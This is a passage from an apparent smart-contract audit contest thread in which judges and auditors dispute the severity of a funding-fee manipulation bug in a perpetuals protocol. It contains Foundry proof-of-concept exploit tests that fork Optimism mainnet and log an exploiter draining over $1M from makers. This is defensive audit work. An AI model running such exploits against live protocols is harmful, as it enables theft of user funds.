address(collateralToken), token1: address(baseToken), fee: 500, tickLower: -7940, tickUpper: -5940, amount0Desired: 60000000e6, amount1Desired: 30000e9, amount0Min: 0, amount1Min: 0, recipient: spotLp, deadline: block.timestamp }) ); uniswapV3NonfungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: address(collateralToken), token1: address(baseToken), fee: 500, tickLower: -8940, tickUpper: -7940, amount0Desired: 1000000e6, amount1Desired: 500e9, amount0Min: 0, amount1Min: 0, recipient: spotLp, deadline: block.timestamp }) ); uniswapV3NonfungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: address(collateralToken), token1: address(baseToken), fee: 500, tickLower: -5940, tickUpper: -4940, amount0Desired: 1000000e6, amount1Desired: 500e9, amount0Min: 0, amount1Min: 0, recipient: spotLp, deadline: block.timestamp }) ); //(, int24 tick, , , , , ) = IUniswapV3PoolState(uniswapV3SpotPool).slot0(); //console.logInt(tick); //mock the pyth price to be same as uniswap (set to ~$2000 in base class) pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C); _mockPythPrice(2000,0); } function testFundingFeePOC2() public { //deposit 5M collateral as margin for exploiter (also mints the amount) uint256 startQuote = 5000000*1e6; _deposit(marketId, exploiter, startQuote); console.log("Exploiter Quote balance at Start: %s\n", startQuote); //deposit to makers //initial HSBM maker deposit: 2000 base tokens ($4M) vm.startPrank(makerLp); deal(address(baseToken), makerLp, 2000*1e9, true); baseToken.approve(address(maker), type(uint256).max); maker.deposit(2000*1e9); //initial oracle maker deposit: $2M (1000 base tokens) deal(address(collateralToken), makerLp, 2000000*1e6, true); collateralToken.approve(address(oracle_maker), type(uint256).max); oracle_maker.deposit(2000000*1e6); vm.stopPrank(); //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity _deposit(marketId, address(maker), 2000000*1e6); //Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker vm.startPrank(exploiter); (int256 posBase, int256 openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1000*1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //Exploiter opens maximum possible short on the HSBM maker changing their position to short 1000 (2000-1000) (posBase,openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: 2000 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); console.log("Funding Fee Rate after short:"); int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId); console.logInt(ffeeRate); //OUTPUT: // Funding Fee Rate after short: //-388399804857866884 //move to next block vm.warp(block.timestamp + 2 seconds); //Exploiter closes the short to realize gains int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter)); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: exploiterPosSize.abs(), oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //exploiter withdraws entirely int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter)); int256 stDec = vault.getSettledMargin(marketId,address(exploiter)); int256 marg = stDec-upDec; uint256 margAbs = marg.abs(); uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId,toWithdraw); vault.withdraw(vault.getFund(exploiter)); vm.stopPrank(); uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); console.log("Exploiter Quote balance at End: %s", finalQuoteBalance); //OUTPUT: Exploiter Quote balance at End: 6098860645835 //exploiter profit = $6,098,860 - $5,000,000 = $1,098,860 } } ```
IllIllI000 commented 5 months ago

I'm not a uniswap expert. Please do the actual add/remove liquidity in the POC, including it in the start/end balance (both tokens). Also, I didn't check, but I don't think 1e18 is the lower bound of the possible admin-set values

joicygiore commented 5 months ago

But we also don’t know what the project side’s psychological upper limit is for this value.

gstoyanovbg commented 5 months ago

@IllIllI000 I don't understand what changes you want to make to this POC and how they will contribute to the discussion, so I'll wait to hear the judge's opinion (@WangSecurity ) before making another POC. I hope you understand that if every participant in this discussion requests a custom POC for their own reasons, I'll have to build POCs for this discussion full-time. That's why I prefer to wait a bit and see if anyone else has any other comments.

Regarding the lower bound of the exponent, the administrator can set it to be 0 or a value close to zero. If we assume that this is an argument, then this discussion could have ended on the third comment and not waste our time. But I believe that here we evaluate realistic values ​​for the exponent, and the sponsor clearly stated in their comment that the value will be 1.0. The whole argumentation so far has been built on the fact that nirohgo's POC does not show profit for this value. I think I explained in detail where the problem with this POC comes from and that if a more realistic simulation is done, there is profit.

WangSecurity commented 5 months ago

Firstly, thanks to all the Watsons providing endless value on this escalation.

Secondly, @gstoyanovbg as I understand, in your scenario, laid out in the last comments, the attack deviates from the original @nirohgo PoC.

  1. In your scenario the attacker themselves deposit liquidity into the pool at a specific price range, correct? This leads to attack not being profitable in the two blocks as in the original attacks by Nirohgo.

If that's correct, then I see two different scenarios. Let's start with the original scenario. There are several values that effect the attack: funding exponent (set by admins), liquidity and price range.

  1. What are other factors that have effect on the profits for the attack?

Again thanks to @IllIllI000 @gstoyanovbg and @nirohgo for providing a lot of value here.

gstoyanovbg commented 5 months ago

@WangSecurity The profitability of the attack from the POC of nirohgo depends on the funding exponent and the available liquidity in the respective price range. If a too large position is opened, but there is not enough liquidity in the corresponding price range, part of the value is lost due to excessive slippage. My initial idea was that the attacker could add liquidity where it is lacking in order to extract value from the maker. Or simply calculate the position size to be proportional to the available liquidity so that there is not a large slippage. However, when I started to build the POC, I noticed that in the USDC/ETH pool on Uniswap V3 there is enough liquidity so that nirohgo's original POC is profitable for funding exponent values >= 1.0e18. Therefore, in my latest POC, I decided to simply mimic a pool with liquidity similar to that in USDC/ETH to prove my claim. I still believe that the attacker can add liquidity if necessary and that it can be profitable, it just turned out that it was not necessary in this case.

To summarize, in my opinion, the exploiter can extract value from the maker for any realistic value of the funding exponent, i.e., >=1.0e18. In most cases, I expect the available liquidity in Uniswap to be sufficient; if not, the attack can be modified to add additional liquidity from the attacker. Earlier in the discussion, we discussed how to proceed in this scenario. I have not analyzed values of the funding exponent < 1.0e18, but I expect that for small values of the funding exponent, the attack will not be profitable. However, I do not think such values represent a realistic scenario. The sponsor has already clearly stated that they intend to use a value of 1.0e18 for the funding exponent. In the tests, the value was 1.3e18. It is also debatable whether there is a theoretical sense in low values of the funding exponent because the incentive for users would be too small

WangSecurity commented 5 months ago

Since the attack can be executed on any funding exponent value discussed above (1.0e18 - 1.3e18), then the liquidity at specific price range is a bigger constraint on the attack profit. But it can be controlled by the attacker as they themselves can add liquidity at a specific price, correct? @gstoyanovbg

gstoyanovbg commented 5 months ago

@WangSecurity Correct.

WangSecurity commented 5 months ago

First, the attack can be executed independently on the funding exponent set by the admin (assuming they values are realistic). Even though the possibility and profitable depend on certain liquidity conditions. I believe these conditions are very realistic to occur. Hence, high severity is appropriate here:

Definite loss of funds without (extensive) limitations of external conditions

Planning to accept the escalation and upgrade severity to High

IllIllI000 commented 5 months ago

For full transparency: https://discord.com/channels/812037309376495636/1013592891773419520/1234858790516690966

IllIllI000 commented 5 months ago

@gstoyanovbg your PoC relies on a lot more liquidity than there currently is, and therefore your PoC needs to model the costs of adding and removing the liquidity:

https://info.uniswap.org/#/optimism/pools/0x1fb3cf6e48f1e7b10213e7b6d87d4c073c7fdb7b

[...] isn't USDC/ETH pool TVL on Optimism just 4M?

https://discord.com/channels/812037309376495636/1013592891773419520/1234878162697977986

Further, if you're adding liquidity for two blocks, you can't use a flash loan and you're at risk of the price moving, or someone taking your liquidity, so I don't think this can be High at the moment. For your argument that you can still attack but smaller amounts with the given liquidity, can you quantify how much an attack can gain given the 4M liquidity is spread over the whole pool, not just the current price, and show that the attacker can gain more than dust amounts with the 1e18 value?

gstoyanovbg commented 5 months ago

@IllIllI000 First, thanks to you and your lawyers for noticing that the TVL of the mentioned pool is 4M on Optimism. The graph I attached is from the same pool but on Ethereum. It has been a while since the end of the contest, and at that moment, I did not realize that Ethereum is not on the list of supported chains. I apologize for the mistake.

However, I don't think there is a significant difference, and I will soon upload a new POC to clear up any doubts.

neko-nyaa commented 5 months ago

As the mentioned "lawyer", having read the discussion and I really don't understand where we are even trying to head towards.

Let's first be clear here that I don't care about any bounties, and any "lawyers" who are aiming for the bounty can try and push this issue to their favored direction. The only direction I am respecting is where the truth is headed, hence this analysis.

What is clear from just the issue, and has been reiterated/implied multiple times throughout the discussion, is that the "attack" is possible regardless. From the formula, it is clear that the funding rate is proportional to the OM's open notional, which is exactly what this attack is trying to achieve.

Then the profitability depends on multiple factors:

Then the questions to be analyzed here are:

Now, is this big picture big enough to look at? Have we narrowed it down enough for a numerical analysis?

Edit: Re-analyzed the formula and it looks like non-basepool traders do not have a dampening effect. So that's one thing out of the way.

I'll make just this comment and not engage in this discussion.

WangSecurity commented 5 months ago

@gstoyanovbg wanted to ask how's the PoC going and how much time approximately you need?

gstoyanovbg commented 5 months ago

@WangSecurity Tomorrow will post it. Sorry for the delay i was very busy last couple of days.

gstoyanovbg commented 5 months ago

@WangSecurity I'm ready with the new POC, and it includes several improvements compared to the previous ones. To avoid doubts about the way I simulate the Uniswap pool, I changed the contracts to use the actual Uniswap V3 WETH/USDC 0.05% pool on Optimism via a fork from a specific block. The block is a random block from yesterday. I've prepared 2 tests. In one, only the available liquidity in the pool is used, and in the other, I show how adding additional liquidity can increase profits without any losses. I also noticed another mistake in the previous POCs - when positions are closed and the amount is withdrawn, it turns out that there isn't always enough collateral to withdraw the entire profit. In the current POC, I corrected this by simulating a loss from another trader so that the entire profit can be withdrawn. The changes span across several files, and I'm attaching all of them. If anyone encounters issues with running this, they can contact me.

POC ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "forge-std/Test.sol"; import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup2.sol"; import { OracleMaker } from "../../src/maker/OracleMaker.sol"; import "../../src/common/LibFormatter.sol"; import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol"; interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } contract FundingFeeExploit3 is SpotHedgeBaseMakerForkSetup2 { using LibFormatter for int256; using LibFormatter for uint256; using SignedMath for int256; address public taker = makeAddr("Taker"); address public exploiter = makeAddr("Exploiter"); address public trader = makeAddr("Trader"); OracleMaker public oracle_maker; uint256 uniPositionId; function setUp() public override { super.setUp(); //create oracle maker oracle_maker = new OracleMaker(); _enableInitialize(address(oracle_maker)); oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18); config.registerMaker(marketId, address(oracle_maker)); config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker)); config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000); oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests //whitelist users oracle_maker.setValidSender(exploiter,true); oracle_maker.setValidSender(taker,true); oracle_maker.setValidSender(trader,true); pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C); _mockPythPrice(3000,0); } function openUniswapV3Position(address user, uint256 amount) public returns (uint256) { vm.startPrank(user); baseToken2.approve(address(uniswapV3NonfungiblePositionManager), type(uint256).max); collateralToken.approve(address(uniswapV3NonfungiblePositionManager), type(uint256).max); (uniPositionId,,,) = uniswapV3NonfungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: address(baseToken2), token1: address(collateralToken), fee: 500, tickLower: -196270, tickUpper: -196260, amount0Desired: 0, amount1Desired: amount, amount0Min: 0, amount1Min: 0, recipient: user, deadline: block.timestamp }) ); return uniPositionId; } function closeUniswapV3Position(uint256 uniPositionId, address user) public { uint256 startBalance = collateralToken.balanceOf(user); console.log("Balance of LP before UNI V3 position burn: %d", startBalance); vm.startPrank(user); INonfungiblePositionManager.CollectParams memory params = INonfungiblePositionManager.CollectParams({ tokenId: uniPositionId, recipient: address(user), amount0Max: type(uint128).max, amount1Max: type(uint128).max }); { uniswapV3NonfungiblePositionManager.collect(params); (, , address token0, address token1, , , , uint128 liquidity, , , uint128 tokenowed0 , uint128 tokenowed1 ) = uniswapV3NonfungiblePositionManager.positions(uniPositionId); INonfungiblePositionManager.DecreaseLiquidityParams memory params2 = INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: uniPositionId, liquidity: liquidity, amount0Min: 0, amount1Min: 0, deadline: block.timestamp }); uniswapV3NonfungiblePositionManager.decreaseLiquidity(params2); (, , token0, token1, , , , liquidity, , , tokenowed0 , tokenowed1 ) = uniswapV3NonfungiblePositionManager.positions(uniPositionId); uniswapV3NonfungiblePositionManager.collect(params); uniswapV3NonfungiblePositionManager.burn(uniPositionId); uint256 endBalance = collateralToken.balanceOf(user); console.log("Balance of LP after UNI V3 position burn: %d", endBalance); uint256 difference = endBalance - startBalance; console.log("The amount received after burn of the UNI V3 position is %d", difference); } } function testFundingFeeExploitNoAdditionalLiquidity() public { //deposit 6M collateral as margin for exploiter (also mints the amount) uint256 startQuote = 6000000*1e6; _deposit(marketId, exploiter, startQuote); _deposit(marketId, trader, 30000000e6); console.log("Exploiter Quote balance at Start: %s\n", startQuote); //deposit to makers //initial HSBM maker deposit: 2000 base tokens ($6M) vm.startPrank(makerLp); deal(address(baseToken2), makerLp, 2000*1e18, false); baseToken2.approve(address(maker), type(uint256).max); maker.deposit(2000*1e18); //initial oracle maker deposit: $3M (1000 base tokens) deal(address(collateralToken), makerLp, 3000000*1e6, false); collateralToken.approve(address(oracle_maker), type(uint256).max); oracle_maker.deposit(3000000*1e6); vm.stopPrank(); //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity _deposit(marketId, address(maker), 3000000*1e6); //Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker vm.startPrank(exploiter); (int256 posBase, int256 openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1000*1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); (posBase,openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: 2000 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); console.log("Funding Fee Rate after short:"); int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId); console.logInt(ffeeRate); //move to next block vm.warp(block.timestamp + 2 seconds); //Exploiter closes the short to realize gains clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: 2000 * 1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //Exploiter closes the long position clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: true, isExactInput: true, amount: 1000e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); int256 exploiterMargin = vault.getMargin(marketId, exploiter); console.log("Exploiter's margin after both positions are closed: "); console.logInt(exploiterMargin); vm.startPrank(exploiter); //At this point the exploiter could withdraw only part of the margin because there aren't enough collateral int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter)); int256 stDec = vault.getSettledMargin(marketId,address(exploiter)); int256 marg = stDec-upDec; uint256 margAbs = marg.abs(); uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId,toWithdraw); vault.withdraw(vault.getFund(exploiter)); vm.stopPrank(); uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); //console.log("Exploiter balance using the available collateral at that momment: %s", finalQuoteBalance); //Simulates losses for a trader in order to demonstrate that the whole margin amount could be withdrawn if there is enough collateral _deposit(marketId, address(oracle_maker), 3000000*1e6); vm.startPrank(trader); _mockPythPrice(5000,0); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1200 * 1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); _mockPythPrice(3000,0); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: true, isExactInput: true, amount: 1200 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); vm.startPrank(exploiter); uint256 exploiterMarginAbs = exploiterMargin.abs().formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId, exploiterMarginAbs - toWithdraw); vault.withdraw(vault.getFund(exploiter)); finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); console.log("Exploiter Quote balance at End: %s", finalQuoteBalance); } function testFundingFeeExploitAdditionalLiquidity() public { uint256 spotLpInitialBalance = 500000e6; deal(address(collateralToken), spotLp, spotLpInitialBalance, false); console.log("LP balance before the deposit to Uniswap %d", collateralToken.balanceOf(spotLp)); uniPositionId = openUniswapV3Position(address(spotLp), spotLpInitialBalance); //deposit 6M collateral as margin for exploiter (also mints the amount) uint256 startQuote = 6000000*1e6; _deposit(marketId, exploiter, startQuote); _deposit(marketId, trader, 30000000e6); console.log("Exploiter Quote balance at Start: %s\n", startQuote); //deposit to makers //initial HSBM maker deposit: 2000 base tokens ($6M) vm.startPrank(makerLp); deal(address(baseToken2), makerLp, 2000*1e18, false); baseToken2.approve(address(maker), type(uint256).max); maker.deposit(2000*1e18); //initial oracle maker deposit: $3M (1000 base tokens) deal(address(collateralToken), makerLp, 3000000*1e6, false); collateralToken.approve(address(oracle_maker), type(uint256).max); oracle_maker.deposit(3000000*1e6); vm.stopPrank(); //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity _deposit(marketId, address(maker), 3000000*1e6); //Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker vm.startPrank(exploiter); (int256 posBase, int256 openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1000*1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); (posBase,openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: 2000 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); console.log("Funding Fee Rate after short:"); int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId); console.logInt(ffeeRate); //move to next block vm.warp(block.timestamp + 2 seconds); //Exploiter closes the short to realize gains clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: 2000 * 1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //Exploiter closes the long position clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: true, isExactInput: true, amount: 1000e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); int256 exploiterMargin = vault.getMargin(marketId, exploiter); console.log("Exploiter's margin after both positions are closed: "); console.logInt(exploiterMargin); closeUniswapV3Position(uniPositionId, spotLp); vm.startPrank(exploiter); //At this point the exploiter could withdraw only part of the margin because there aren't enough collateral int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter)); int256 stDec = vault.getSettledMargin(marketId,address(exploiter)); int256 marg = stDec-upDec; uint256 margAbs = marg.abs(); uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId,toWithdraw); vault.withdraw(vault.getFund(exploiter)); vm.stopPrank(); uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); //console.log("Exploiter balance using the available collateral at that momment: %s", finalQuoteBalance); //Simulates losses for a trader in order to demonstrate that the whole margin amount could be withdrawn if there is enough collateral _deposit(marketId, address(oracle_maker), 3000000*1e6); vm.startPrank(trader); _mockPythPrice(5000,0); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1200 * 1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); _mockPythPrice(3000,0); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: true, isExactInput: true, amount: 1200 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); vm.startPrank(exploiter); uint256 exploiterMarginAbs = exploiterMargin.abs().formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId, exploiterMarginAbs - toWithdraw); vault.withdraw(vault.getFund(exploiter)); finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); console.log("Exploiter Quote balance at End: %s", finalQuoteBalance); console.log("LP balance at End %d", collateralToken.balanceOf(spotLp)); } } ``` ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "forge-std/Test.sol"; import "../clearingHouse/ClearingHouseIntSetup.sol"; import { Vault } from "../../src/vault/Vault.sol"; import { SpotHedgeBaseMaker } from "../../src/maker/SpotHedgeBaseMaker.sol"; import { IUniswapV3Factory } from "../../src/external/uniswap-v3-core/contracts/interfaces/IUniswapV3Factory.sol"; import { IUniswapV3PoolActions } from "../../src/external/uniswap-v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol"; import { IUniswapV3PoolImmutables } from "../../src/external/uniswap-v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol"; import { ISwapRouter } from "../../src/external/uniswap-v3-periphery/contracts/interfaces/ISwapRouter.sol"; import { IQuoter } from "../../src/external/uniswap-v3-periphery/contracts/interfaces/IQuoter.sol"; import { TestCustomDecimalsToken } from "../helper/TestCustomDecimalsToken.sol"; import { TestWETH9 } from "../helper/TestWETH9.sol"; import { INonfungiblePositionManager } from "./INonfungiblePositionManager.sol"; import { IPythOracleAdapter } from "../../src/oracle/pythOracleAdapter/IPythOracleAdapter.sol"; import { IERC20 } from "../../lib/forge-std/src/interfaces/IERC20.sol"; contract SpotHedgeBaseMakerForkSetup2 is ClearingHouseIntSetup { //uint256 forkBlock = 105_302_472; // Optimiam mainnet @ Thu Jun 8 05:55:21 UTC 2023 uint256 forkBlock = 119_532_497; address public makerLp = makeAddr("MakerLP"); address public spotLp = makeAddr("SpotLP"); string public name = "SHBMName"; string public symbol = "SHBMSymbol"; TestWETH9 public weth; TestCustomDecimalsToken public baseToken; // Optimism Mainnet ISwapRouter public uniswapV3Router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); // Uniswap v3 Swap Router v1 @ Optimism Mainnet IUniswapV3Factory public uniswapV3Factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); // Uniswap v3 Factory @ Optimism Mainnet IQuoter public uniswapV3Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6); // Uniswap v3 Quoter v1 @ Optimism Mainnet INonfungiblePositionManager public uniswapV3NonfungiblePositionManager = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); bytes public uniswapV3B2QPath; bytes public uniswapV3Q2BPath; address public uniswapV3SpotPool; bytes public priceUpdateData = hex"01000000030d00c2dfc7626e7076b83f19fc5bca281d3c241729ef369b135e3081afcacf856c696fdae82a2b1ed4ddfc14a667d6a7348ab8c6f2fdf0becc4e0577e37b71b73fe50101b438a63525b8f5d54b3947cc0404073f53cc24ea852fcbd2d56a1591c4f3e30456da37ded2cfb57f896b2f96444cae02838a70575cfbc102e600b070afa9e27d000265cdfbbc26cd8c5a1dceb5caba526bacd706a523ef961bae56a7f45d572e2e22499d0f920267b053545cb4e7c441dd3129d671ef494a7208e9c3134944539bde0004f5c1588e839c930bdc4d2e7c7e6b6bc659b0f2a4a0ad5d7f12140170ec7e32630f87424945880dae481005be935c8a479add63711c452937ae278ff68bd23d5a0106b9bc81d31511a03ab4f36e9fe5d9b8dd95be083967fad01c0174b960185959cc4da89357995efd6c29fd94d4c54e581ee52349ba14e7d1901b82a250b008d8f700095fae6f46953a46d1556b1400f4afc899bdf522a6396b9833cbe864da6a614c8e3cf109c651d896a48ce94159f1f5e6c37937cefb1032489223dc7b3c6c0df40f010a8af3499aadd61ddfaa0ec4abb9a08a12edce8fc54837b90c68344dcba1cf9b2442208e11b79f77cab15a6fa0901b8bb5ee99e653190e17695afdb8dba452ae03010ba0c63e50c205d5d87e218521673d7944b94f5a06dc6925ea726d25876a9c24cc753eb5abc2f932a67f5884f705ba03c66745b0aad1f6d04a455f76e826394e40010d0486e73d19b5e55144ad08cee2337185eba4e79353528a9bb42b922aa1d5e8be5f197a74ab06064bbf9a4e0c4c1c9b658f75d81d36c546c3caa73d1e2eac0570010e93816517a08ed4ceb404c41f56c1a0ab769667d6a023d71e4057697dbcd475f159a54ce7a80fdeec8e3f0bea5cb8767648514ba801ec55fc4724d0f96531ed15000f8ce5c6b4cb93dfbad4336ab270dc3365d8903bf340687c08be5230461011974325afe1e02042b64f48c9beae8c4854f7b12569184fa4c9e445506bd3a13871b20011f46645418821afbf7bf69e95cc07c80f1b5d254b8e561d04ce88f08e8719161d7258c8e30ce3cbae425516f4a60c30cb9313dd0545e385911a601461e03d90500012e31a8e7fbd8a81c8f1e8a2b1a6f743b8a901fc7bdc2b486aa9f2d15c300d16f938028165aca84b5bc01e63409ef80335aa2569484590d4c7e2f9a987e61a67f90164816d4500000000001af8cd23c2ab91237730770bbea08d61005cdda0984348f3f6eecb559638c0bba0000000001b85a2b50150325748000300010001020005009d04028fba493a357ecde